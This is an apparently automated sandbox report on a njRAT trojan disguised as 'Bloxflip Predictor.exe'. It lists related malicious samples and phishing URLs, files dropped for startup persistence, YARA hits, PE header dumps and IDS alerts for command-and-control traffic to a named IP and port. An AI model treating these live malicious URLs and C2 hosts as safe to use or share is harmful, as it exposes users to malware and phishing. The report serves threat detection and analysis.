	ahost.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.137.232
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.136.232
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	162.159.128.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Xmrig	Browse	172.67.139.78
	file.exe	Get hash	malicious	Unknown	Browse	172.67.192.146
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://aggttt.z4.web.core.windows.net/?bcda=00-1-234-294-2156	Get hash	malicious	TechSupportScam	Browse	1.1.1.1
	https://idw.soundestlink.com/ce/c/675b7a96903a5335b119c33f/675b7ae33d33226215120f66/675b7afd057112d43b49094d?signature=7e9e7eead1b3f32bbe3709a667795cd47f753f0f46ed5e056831680ea81aa102	Get hash	malicious	Unknown	Browse	172.64.145.78
	https://opof.utackhepr.com/WE76L1u/	Get hash	malicious	Unknown	Browse	104.18.95.41
	taskhost.exe	Get hash	malicious	XWorm	Browse	104.26.2.16
	https://e.trustifi.com/#/fff2a6/34074b/38c75f/bf3fbd/0d1c47/12c665/f3cdcd/c1be48/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d08b7b/9066d9/86c9f0/b1ff53/224fc1/c5dff5/a64e02/f00a15/3cdbea/a78615/4ddb76/30d9f7/98e1a2/9412cb/8e2651/8d4e63/9d313b/2f0213/ae3252/642e4a/6f0b2e/306b49/fd8e03/84bfef/0da4e6/6224c1/902b5e/e0d84c/badeba/3e52c1/94282a/975221/7a2e92/514659/ae5bab/957b7b/eb9e61/6942c6/d917d9/44a5ae/e58297/02048a/55f177/dca75c/c46e68/ac781c/5b787b/abcd53/568132/1d514a/5290de/d0b524/7d0cb6/e4e8bf/2ff215/1ddb69/add914/7674bb/dc5d9b/8fc829/561052/f5a816/40ee64/a0bcf5/b0cc13/8e70a5/255ef2/b24b8d/81e09f/4c70dd/5bbaa4/7ff26c/f1999b/4a2515/4a3a04/0a188e	Get hash	malicious	Unknown	Browse	104.17.25.14
	smb.ps1	Get hash	malicious	Xmrig	Browse	104.16.231.132
	file.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
SALSGIVERUS	system404.exe	Get hash	malicious	Metasploit	Browse	147.185.221.19
	Discord.exe	Get hash	malicious	AsyncRAT	Browse	147.185.221.18
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	147.185.221.22
	file.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	NhoqAfkhHL.bat	Get hash	malicious	Unknown	Browse	147.185.221.24
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	147.160.103.28
	a4lIk1Jrla.exe	Get hash	malicious	Njrat, RevengeRAT	Browse	147.185.221.24
	W6s1vzcRdj.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	u7e3vb5dfk.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	aOi4JyF92S.exe	Get hash	malicious	XWorm	Browse	147.185.221.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	162.159.137.232
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.159.137.232
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.137.232
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	162.159.137.232
	41570002689_20220814_05352297_HesapOzeti.exe	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232
	malware.ps1	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232
	QUOTES REQUEST FOR PRICES.exe	Get hash	malicious	MassLogger RAT	Browse	162.159.137.232

Process:	C:\Users\user\Desktop\Bloxflip Predictor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	525
Entropy (8bit):	5.259753436570609
Encrypted:	false
SSDEEP:	12:Q3LaJU2C9XAn10Ug+9pfu9t0U29xtUz1B0U2uk71K6xhk7v:MLF2CpI3zffup29Iz52Ve
MD5:	260E01CC001F9C4643CA7A62F395D747
SHA1:	492AD0ACE3A9C8736909866EEA168962D418BE5A
SHA-256:	4BC52CCF866F489772A6919A0CC2C55B1432729D6BDF29E17E5853ABDFAB6030
SHA-512:	01AF7D75257E3DBD460E328F5C057D0367B83D3D9397E89CA3AE54AB9B2842D62352D8CCB4BE98ACE0C5667846759D32C199DE39ECCD0CF9CD6A83267D27E7C4
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\bec14584c93014efbc76285c35d1e891\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\7d443c6c007fe8696f9aa6ff1da53ef7\Microsoft.VisualBasic.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\2cdaeaf53e3d49038cf7cb0ce9d805d3\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\d0e5535854cce87ea7f2d69d0594b7a8\System.Windows.Forms.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\Windows.exe.log

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	525
Entropy (8bit):	5.259753436570609
Encrypted:	false
SSDEEP:	12:Q3LaJU2C9XAn10Ug+9pfu9t0U29xtUz1B0U2uk71K6xhk7v:MLF2CpI3zffup29Iz52Ve
MD5:	260E01CC001F9C4643CA7A62F395D747
SHA1:	492AD0ACE3A9C8736909866EEA168962D418BE5A
SHA-256:	4BC52CCF866F489772A6919A0CC2C55B1432729D6BDF29E17E5853ABDFAB6030
SHA-512:	01AF7D75257E3DBD460E328F5C057D0367B83D3D9397E89CA3AE54AB9B2842D62352D8CCB4BE98ACE0C5667846759D32C199DE39ECCD0CF9CD6A83267D27E7C4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\bec14584c93014efbc76285c35d1e891\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\7d443c6c007fe8696f9aa6ff1da53ef7\Microsoft.VisualBasic.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\2cdaeaf53e3d49038cf7cb0ce9d805d3\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\d0e5535854cce87ea7f2d69d0594b7a8\System.Windows.Forms.ni.dll",0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe

Process:	C:\Windows\Bloxflip Predictor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.537645975163793
Encrypted:	false
SSDEEP:	384:rLptwff1tqGIOfIBTkqS61bPGdrNM1AQk93vmhm7UMKmIEecKdbXTzm9bVhcar6v:/pqffy3LN1A/vMHTi9bD
MD5:	7BF897CA59B77AD3069C07149C35F97E
SHA1:	6951DC20FA1E550EC9D066FE20E5100A9946A56B
SHA-256:	BC37B896FEE26A5B4DE7845CDD046E0200C783D4907FFA7E16DA84ED6B5987DD
SHA-512:	6E0725043262EEC328130883B8C6A413C03FA11E766DB44E6E2595DFA5D3E13D02B7A199105CAD8439C66238CF2975099D40B33CDAEB4768DA159060B6F35DAF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: unknown Rule: CN_disclosed_20180208_c, Description: Detects malware from disclosed CN malware set, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: Florian Roth Rule: Njrat, Description: detect njRAT in memory, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_attrib, Description: Detects executables using attrib with suspicious attributes attributes, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen Rule: MALWARE_Win_NjRAT, Description: Detects NjRAT / Bladabindi, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....mc.................f............... ........@.. ....................................@....................................W.......@............................................................................ ............... ..H............text...4d... ...f.................. ..`.rsrc...@............h..............@..@.reloc...............l..............@..B........................H........P...3............................................................(......(.....s.........s.........s.........s............0..........~....o......0..........~....o......0..........~....o......0..........~....o......0............(....(........0...........(......0...............(......0...........(......0................-.(...+..0...........................(.....0..........~.........-.(...+.....~......(.....0..........r...p.....r...p.....r-..p.....r...p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk

Process:	C:\Users\user\Desktop\Bloxflip Predictor.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	2.9005324467960167
Encrypted:	false
SSDEEP:	24:8gvWLgD4/BOmRC87q8MHBJrXE+16d0+qy:8pgDsvRC87tMhJrRhy
MD5:	A1D982C1F47A41AE13C580A79166C9A8
SHA1:	D208B7CCB1761D32579350BA827F1C677E65A765
SHA-256:	2881695075D4DCE03AF905B41122BDB3DFEB95EDA6404F53BF035E943818064D
SHA-512:	5F0F455C1472AAC57DC2192702EFB1752A21A2695F0F230281671F6EDBA8025C8B0AB098F8292E374468B770F2FB1BB2D923FE5CCEF12CE9B427C60F7840DA09
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u.....Z.1...........Programs..B............................................P.r.o.g.r.a.m.s.....V.1...........Startup.@............................................S.t.a.r.t.u.p.....b.2...........Windows.exe.H............................................W.i.n.d.o.w.s...e.x

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.lnk

Process:	C:\Users\user\Desktop\Bloxflip Predictor.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1058
Entropy (8bit):	2.9364199742996298
Encrypted:	false
SSDEEP:	12:8gl0csXU1e/tz0/CSLwrHj4/3BVwzyDilVBJrXE+1gCNfBf4t2YZ/elFlSJm:87vWLgD4/BUBJrXE+1pjqy
MD5:	927D6613C523813127CF1E54134796A7
SHA1:	FF7DB76489FE1177019DD219C1EA466BE3462970
SHA-256:	BB3CCDA0AAC133870D311CB526B924177ABBA4179D1FD30C0A29D991CBD14DFC
SHA-512:	6A2E3839F16E46D8B5DCB95C5782A7DC6FCC3895FDCEFA8D42902F1F736F31C34AE31EA1CA77DD067E323B4263CCEAD9CF44D3864FF0E08BB22606228022858C
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....\.1...........Templates.D............................................T.e.m.p.l.a.t.e.s.....b.2...........Windows.exe.H............................................W.i.n.d.o.w.s...e.x.e...........\.W.i.n.d.o.w.s...e.x.e.............}.............>.e.L.:..er.=}...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.

C:\Windows\Bloxflip Predictor.exe

Process:	C:\Users\user\Desktop\Bloxflip Predictor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.537645975163793
Encrypted:	false
SSDEEP:	384:rLptwff1tqGIOfIBTkqS61bPGdrNM1AQk93vmhm7UMKmIEecKdbXTzm9bVhcar6v:/pqffy3LN1A/vMHTi9bD
MD5:	7BF897CA59B77AD3069C07149C35F97E
SHA1:	6951DC20FA1E550EC9D066FE20E5100A9946A56B
SHA-256:	BC37B896FEE26A5B4DE7845CDD046E0200C783D4907FFA7E16DA84ED6B5987DD
SHA-512:	6E0725043262EEC328130883B8C6A413C03FA11E766DB44E6E2595DFA5D3E13D02B7A199105CAD8439C66238CF2975099D40B33CDAEB4768DA159060B6F35DAF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: C:\Windows\Bloxflip Predictor.exe, Author: Joe Security Rule: Windows_Trojan_Njrat_30f3c220, Description: unknown, Source: C:\Windows\Bloxflip Predictor.exe, Author: unknown Rule: CN_disclosed_20180208_c, Description: Detects malware from disclosed CN malware set, Source: C:\Windows\Bloxflip Predictor.exe, Author: Florian Roth Rule: Njrat, Description: detect njRAT in memory, Source: C:\Windows\Bloxflip Predictor.exe, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_attrib, Description: Detects executables using attrib with suspicious attributes attributes, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen Rule: MALWARE_Win_NjRAT, Description: Detects NjRAT / Bladabindi, Source: C:\Windows\Bloxflip Predictor.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....mc.................f............... ........@.. ....................................@....................................W.......@............................................................................ ............... ..H............text...4d... ...f.................. ..`.rsrc...@............h..............@..@.reloc...............l..............@..B........................H........P...3............................................................(......(.....s.........s.........s.........s............0..........~....o......0..........~....o......0..........~....o......0..........~....o......0............(....(........0...........(......0...............(......0...........(......0................-.(...+..0...........................(.....0..........~.........-.(...+.....~......(.....0..........r...p.....r...p.....r-..p.....r...p.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.537645975163793
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Bloxflip Predictor.exe
File size:	28'160 bytes
MD5:	7bf897ca59b77ad3069c07149c35f97e
SHA1:	6951dc20fa1e550ec9d066fe20e5100a9946a56b
SHA256:	bc37b896fee26a5b4de7845cdd046e0200c783d4907ffa7e16da84ed6b5987dd
SHA512:	6e0725043262eec328130883b8c6a413c03fa11e766db44e6e2595dfa5d3e13d02b7a199105cad8439c66238cf2975099d40b33cdaeb4768da159060b6f35daf
SSDEEP:	384:rLptwff1tqGIOfIBTkqS61bPGdrNM1AQk93vmhm7UMKmIEecKdbXTzm9bVhcar6v:/pqffy3LN1A/vMHTi9bD
TLSH:	09C2F82C37B68232D1EF467E4662EA5142B5D44BF223FB0E4CD958D94B1B78A0A41FE4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*.mc.................f............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40842e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x636DAC2A [Fri Nov 11 01:58:02 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x83d4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x240	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6434	0x6600	b43ce1e9ab64a13e9f40b7497d9c743f	False	0.4690946691176471	data	5.580560397703258	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x240	0x400	5b346ed223699f15252c1fdad182859f	False	0.3134765625	data	4.968771659524424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	1073501db1737ec78fc9e639b9e87dac	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xa058	0x1e7	XML 1.0 document, ASCII text, with CRLF line terminators			0.5338809034907598

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T12:31:56.140063+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49726	147.185.221.224	10397	TCP
2024-12-13T12:31:56.140063+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49726	147.185.221.224	10397	TCP
2024-12-13T12:31:56.262752+0100	2825563	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf)	1	192.168.2.5	49726	147.185.221.224	10397	TCP
2024-12-13T12:31:56.262752+0100	2838486	ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf)	1	192.168.2.5	49726	147.185.221.224	10397	TCP
2024-12-13T12:32:02.247114+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49726	147.185.221.224	10397	TCP
2024-12-13T12:32:20.152010+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:20.152010+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:20.271819+0100	2825563	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:20.271819+0100	2838486	ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:26.450354+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:37.200493+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:40.763598+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49777	147.185.221.224	10397	TCP
2024-12-13T12:32:44.355246+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:44.355246+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:44.474994+0100	2825563	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:44.474994+0100	2838486	ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:45.653488+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:50.932266+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:51.418885+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:52.965912+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:53.091103+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:54.168890+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:54.288700+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:55.988155+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:56.110068+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:56.235673+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:32:56.355511+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:33:03.308156+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49830	147.185.221.224	10397	TCP
2024-12-13T12:33:08.403871+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:08.403871+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:16.217269+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:16.338822+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:16.578859+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:19.122933+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:21.608423+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:24.330608+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:24.577585+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:27.309473+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
